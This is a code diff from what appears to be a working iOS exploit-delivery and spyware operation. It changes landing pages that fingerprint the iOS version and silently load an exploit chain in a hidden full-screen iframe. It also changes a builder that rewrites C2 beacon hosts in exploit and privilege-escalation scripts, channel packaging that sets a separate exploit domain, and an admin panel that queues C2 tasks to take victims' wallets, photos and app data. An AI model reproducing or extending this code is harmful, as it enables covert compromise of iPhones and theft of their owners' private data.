except OSError:
dest.rename(tmp.with_name(dest.name + ".restore"))
raise
shutil.rmtree(old)
else:
tmp.rename(dest)
def build(
source: Path,
dest: Path,
c2: str,
dry_run: bool = False,
) -> dict:
if not source.is_dir():
raise SystemExit(f"source not found: {source}")
c2_ep = parse_endpoint(c2, label="--c2")
if dry_run:
return {"c2": c2_ep.origin}
staging = BUILDER_ROOT / "out" / "staging"
if staging.exists():
shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
rewrite_tree(staging, c2_ep)
publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True)
return {"c2": c2_ep.origin, "dest": str(dest.resolve())}
def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite hardcoded hosts to --c2 and publish source/ → public/next-chain")
ap.add_argument("--c2", default="", help="C2 origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--origin", default="", help="alias of --c2")
ap.add_argument("--delivery", default="", help="(ignored, kept for backward compat)")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv)
c2 = (args.c2 or args.origin or "").strip()
if not c2:
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
result = build(
args.source,
args.dest,
c2,
dry_run=args.dry_run,
)
print("dry-run" if args.dry_run else "published")
print(f" c2 {result['c2']}")
if result.get("dest"):
print(f" dest {result['dest']}")
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,88 @@
#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'const C2 = "https://nuhn93.cc:443/beacon";\n'
'function p7(){ return { host: "nuhn93.cc", port: 443 }; }\n',
encoding="utf-8",
)
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_c2_and_publishes(self) -> None:
before = (self.source / "pe_worker.js").read_text(encoding="utf-8")
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.assertEqual((self.source / "pe_worker.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertFalse((self.dest / "log.html").exists())
def test_https_c2(self) -> None:
build.build(self.source, self.dest, "https://c2.example.com")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("https://c2.example.com/beacon", worker)
self.assertIn('{ host: "c2.example.com", port: 443 }', worker)
def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443", label="--c2")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443")
def test_source_files_match_external(self) -> None:
"""All 11 source files must come from globals-game.com/a18/ (external)."""
root = TOOLS.parent / "source"
expected = [
"frame.html", "pe_worker.js", "rce_loader.js",
"rce_module.js", "rce_module_18.6.js", "rce_module_18.7.js",
"rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"sbx0_main_18.4.js", "sbx1_main.js",
]
for fname in expected:
self.assertTrue((root / fname).is_file(), f"missing {fname}")
def test_workers_have_addIframe_prefetch(self) -> None:
"""All worker/PE/SBX files must NOT have the redundant _addIframe() prefetch block."""
root = TOOLS.parent / "source"
for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js",
"pe_worker.js", "sbx0_main_18.4.js", "sbx1_main.js"):
text = (root / fname).read_text(encoding="utf-8")
self.assertNotIn("_addIframe", text, f"{fname} must not have _addIframe prefetch")
self.assertNotIn("group.html", text, f"{fname} must not reference group.html")
def test_rce_loader_has_pickLiveBand(self) -> None:
"""rce_loader.js must have pickLiveBand (external version, not our old logic)."""
root = TOOLS.parent / "source"
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
self.assertIn("pickLiveBand", loader)
self.assertIn("location.origin", loader)
if __name__ == "__main__":
unittest.main()
@@ -9,129 +9,49 @@
</head>
<body>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
// iOS 19+ / 26+: no action.
})();
</script>
</body>
</html>
@@ -114,10 +114,6 @@
</div>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
@@ -132,108 +128,26 @@
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
if (!ios || ios[0] < 18) {
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
if (ios[0] === 18) {
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
</script>
+23 -103
View File
@@ -10,10 +10,6 @@
<body>
<script type="text/javascript">
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
@@ -28,109 +24,33 @@
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
} catch (eH) {}
loadScript(dsUrl('/config.js'), function () {
loadScript(dsUrl('/boot.js'));
});
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
</body>
+16
View File
@@ -232,6 +232,7 @@ def pack_channel(
details_src: Path,
channel_out: Path,
landing_template: str = DEFAULT_LANDING_TEMPLATE,
ds_domain: str = "",
) -> dict:
ver = normalize_channel_ver(channel_ver)
landing_template = normalize_landing_template(landing_template)
@@ -274,6 +275,13 @@ def pack_channel(
encoding="utf-8",
)
apply_landing_template(weifile_dest, landing_template)
# Replace __DS_DOMAIN__ placeholder in weifile.html with the provided
# DS domain (e.g. https://ds.example.com) or empty string for relative path.
weifile_html_path = weifile_dest / "weifile.html"
if weifile_html_path.is_file():
raw = weifile_html_path.read_text(encoding="utf-8")
raw = raw.replace("__DS_DOMAIN__", ds_domain)
weifile_html_path.write_text(raw, encoding="utf-8")
leftover_route = weifile_dest / "route.js"
if leftover_route.is_file():
leftover_route.unlink()
@@ -291,6 +299,7 @@ def pack_channel(
"channel_dir": str(channel_out),
"landing_path": f"/channel/{ver}/weifile/weifile.html",
"landing_template": landing_template,
"ds_domain": ds_domain,
"details_path": f"/channel/{ver}/details/",
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
"core_sha256": core_meta["sha256"],
@@ -329,6 +338,12 @@ def main() -> int:
choices=LANDING_TEMPLATES,
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
)
parser.add_argument(
"--ds-domain",
default="",
help="DS exploit domain for weifile iframe (e.g. https://ds.example.com). "
"Empty = relative /next-chain/ (default)",
)
args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
@@ -343,6 +358,7 @@ def main() -> int:
details_src=details_src,
channel_out=channel_out,
landing_template=args.landing_template,
ds_domain=args.ds_domain,
)
seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file():
+9 -13
View File
@@ -88,13 +88,11 @@ class XxbbBuildTest(unittest.TestCase):
self.assertNotIn("__CHANNEL_C__", html)
self.assertIn('src="/t.js"', html)
self.assertNotIn('src="route.js"', html)
self.assertIn("location.pathname", html)
self.assertIn("/next-chain", html)
self.assertIn("config.js", html)
self.assertIn("holdFresh", html)
self.assertIn("10 * 60 * 1000", html)
self.assertNotIn("channeICode", html)
self.assertIn("/next-chain/frame.html", html)
self.assertIn("index.js", html)
self.assertNotIn("config.js", html)
self.assertNotIn("boot.js", html)
self.assertNotIn("holdFresh", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js)
@@ -332,16 +330,14 @@ class XxbbBuildTest(unittest.TestCase):
self.assertIn('src="/t.js"', landing)
self.assertEqual(pack_channel.inject_tjs(landing), landing)
self.assertNotIn('src="route.js"', landing)
self.assertIn("location.pathname", landing)
self.assertIn("/next-chain", landing)
self.assertIn("config.js", landing)
self.assertIn("boot.js", landing)
self.assertIn("/next-chain/frame.html", landing)
self.assertIn("index.js", landing)
self.assertNotIn("config.js", landing)
self.assertNotIn("boot.js", landing)
self.assertNotIn("holdFresh", landing)
self.assertNotIn("__LAB_RUN_BOOT__", landing)
self.assertNotIn("iframe", landing)
self.assertIn("holdFresh", landing)
self.assertIn("10 * 60 * 1000", landing)
self.assertNotIn("channeICode", landing)
self.assertNotIn('src="index.js"', landing)
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
+1
View File
@@ -16,6 +16,7 @@
"nutgram/laravel": "^1.7",
"nutgram/nutgram": "^4.49",
"pragmarx/google2fa": "^9.0",
"predis/predis": "^3.6",
"simplito/elliptic-php": "^1.0"
},
"require-dev": {
Generated
+64 -1
View File
@@ -4,7 +4,7 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically"
],
"content-hash": "2a3e9276f4cbc867f173d43e2742ffd3",
"content-hash": "78fd6f881499b53e7adbc40b3a4b0a87",
"packages": [
{
"name": "bacon/bacon-qr-code",
@@ -3157,6 +3157,69 @@
},
"time": "2025-09-19T22:51:08+00:00"
},
{
"name": "predis/predis",
"version": "v3.6.0",
"source": {
"type": "git",
"url": "https://github.com/predis/predis.git",
"reference": "2ff20c08bb63697245ffee3f198d1673086c302d"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/predis/predis/zipball/2ff20c08bb63697245ffee3f198d1673086c302d",
"reference": "2ff20c08bb63697245ffee3f198d1673086c302d",
"shasum": ""
},
"require": {
"php": "^7.2 || ^8.0",
"psr/http-message": "^1.0|^2.0"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "^3.3",
"phpstan/phpstan": "^1.9",
"phpunit/phpcov": "^6.0 || ^8.0",
"phpunit/phpunit": "^8.0 || ~9.4.4"
},
"suggest": {
"ext-relay": "Faster connection with in-memory caching (>=0.6.2)"
},
"type": "library",
"autoload": {
"psr-4": {
"Predis\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Till Krüss",
"homepage": "https://till.im",
"role": "Maintainer"
}
],
"description": "A flexible and feature-complete Redis/Valkey client for PHP.",
"homepage": "http://github.com/predis/predis",
"keywords": [
"nosql",
"predis",
"redis"
],
"support": {
"issues": "https://github.com/predis/predis/issues",
"source": "https://github.com/predis/predis/tree/v3.6.0"
},
"funding": [
{
"url": "https://github.com/sponsors/tillkruss",
"type": "github"
}
],
"time": "2026-08-14T23:07:56+00:00"
},
{
"name": "psr/clock",
"version": "1.0.0",
+2
View File
@@ -18,6 +18,8 @@ return [
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
// Shared native DGA / report field `c`. Same for every new-builder channel.
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
// Optional separate DS exploit domain for weifile iframe (empty = relative /next-chain/).
'ds_domain' => rtrim(trim((string) env('DS_DOMAIN', '')), '/'),
],
'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains,
+1 -1
View File
@@ -145,7 +145,7 @@ return [
'redis' => [
'client' => env('REDIS_CLIENT', 'phpredis'),
'client' => env('REDIS_CLIENT', 'predis'),
'options' => [
'cluster' => env('REDIS_CLUSTER', 'redis'),
@@ -0,0 +1,56 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
/**
* Convert existing 32-char plain-hex device identifiers to the canonical
* dashed UUID format (8-4-4-4-12, uppercase) so that storage and display
* are always the same format across devices, page_visits, and ds_chain_logs.
*
* Only 32-char hex values are real UUIDs — shorter IDs (e.g. old xxbb
* 16-hex device IDs) are left untouched.
*/
return new class extends Migration
{
private function dashedKey(string $plain): ?string
{
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $plain) ?? '');
if (strlen($hex) !== 32) {
return null;
}
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
}
private function convertColumn(string $table, string $column): void
{
$rows = DB::table($table)->get(['id', $column]);
foreach ($rows as $row) {
$dashed = $this->dashedKey((string) $row->{$column});
if ($dashed !== null) {
DB::table($table)->where('id', $row->id)->update([$column => $dashed]);
}
}
}
public function up(): void
{
$this->convertColumn('devices', 'device_id');
$this->convertColumn('page_visits', 'client_uid');
$this->convertColumn('ds_chain_logs', 'client_uid');
}
public function down(): void
{
foreach (['devices' => 'device_id', 'page_visits' => 'client_uid', 'ds_chain_logs' => 'client_uid'] as $table => $column) {
$rows = DB::table($table)->get(['id', $column]);
foreach ($rows as $row) {
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $row->{$column}) ?? '');
if (strlen($plain) === 32) {
DB::table($table)->where('id', $row->id)->update([$column => $plain]);
}
}
}
}
};
@@ -179,7 +179,7 @@
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
+333 -52
View File
@@ -88,59 +88,130 @@
</tr>
</table>
@if (($beaconTasks ?? collect())->isNotEmpty())
@php
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
$queueCurrent = $queuePending
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
@endphp
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列
@if ($queuePending)
· 下一条 <code>{{ $queuePending->type }}</code>
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
· 已下发未回传,下一轮 /beacon 会重试
@else
· 本轮已回传,之后继续轮询钱包/相册/应用
@endif
</div>
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="180">任务</th>
<th width="120">状态</th>
<th width="180">下发时间</th>
<th width="180">回传时间</th>
<th>回传</th>
</tr>
</thead>
<tbody>
@foreach ($beaconTasks as $task)
@php
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
@endphp
<tr style="{{ $rowStyle }}">
<td>{{ $task->position }}</td>
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
<td>{{ $task->statusLabel() }}</td>
<td>{{ $task->dispatched_at ?: '—' }}</td>
<td>{{ $task->completed_at ?: '—' }}</td>
<td class="wrap">
@if ($task->result_count)
{{ $task->result_count }} 次
@if (!empty($task->result_meta['filename']))
· {{ $task->result_meta['filename'] }}
@endif
@else
—
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
@php
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
@endphp
@if ($hasQueue)
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列 (Redis)
@if (!empty($queueState['pending']))
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
@elseif (!empty($queueState['dispatched']))
· 已下发未回传
@else
· 队列已空
@endif
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
</div>
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
<div style="margin-bottom: 16px;">
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
<i class="layui-icon layui-icon-add-1"></i> 添加任务
</button>
</div>
@php
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
$paramLabelsByType = [];
foreach ($queueSchema as $type => $fields) {
foreach ($fields as $f) {
$paramLabelsByType[$type][$f['name']] = $f['label'];
}
}
@endphp
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="140">任务</th>
<th>参数</th>
<th width="100">状态</th>
<th width="160">下发时间</th>
<th width="160">回传时间</th>
<th>回传</th>
<th width="80">操作</th>
</tr>
</thead>
<tbody>
{{-- Pending tasks (removable) --}}
@php $rowIdx = 0; @endphp
@foreach ($queueState['pending'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#f0fdf4;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
